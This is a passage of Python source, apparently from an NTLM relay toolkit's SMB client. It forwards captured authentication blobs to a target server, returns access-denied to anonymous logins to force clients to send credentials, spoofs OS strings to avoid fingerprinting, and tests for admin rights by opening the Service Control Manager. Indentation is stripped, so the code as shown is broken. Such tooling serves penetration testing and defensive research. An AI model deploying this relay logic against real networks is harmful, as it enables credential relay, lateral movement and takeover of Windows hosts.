sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
sessionSetup['Data']['Account'] = sessionSetupData['Account']
sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
return None, STATUS_LOGON_FAILURE
else:
v1client.set_uid(smb['Uid'])
return smb, STATUS_SUCCESS
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
clientResponse = None
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# We need to wrap the NTLMSSP into SPNEGO
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authenticateMessageBlob
authData = respToken2.getData()
else:
authData = authenticateMessageBlob
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
return token, errorCode
def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
# Reusing the previous structure
sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
sessionSetup['Buffer'] = authenticateMessageBlob
packetID = v2client.sendSMB(packet)
packet = v2client.recvSMB(packetID)
return packet, packet['Status']
def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
smb['Uid'] = v1client.get_uid()
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
errorCode = smb['ErrorCode'] << 16
errorCode += smb['_reserved'] << 8
errorCode += smb['ErrorClass']
return smb, errorCode
def getStandardSecurityChallenge(self):
if self.session.getDialect() == SMB_DIALECT:
return self.session.getSMBServer().get_encryption_key()
else:
return None
def isAdmin(self):
rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except:
pass
else:
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
return "TRUE"
except scmr.DCERPCException as e:
pass
return "FALSE"
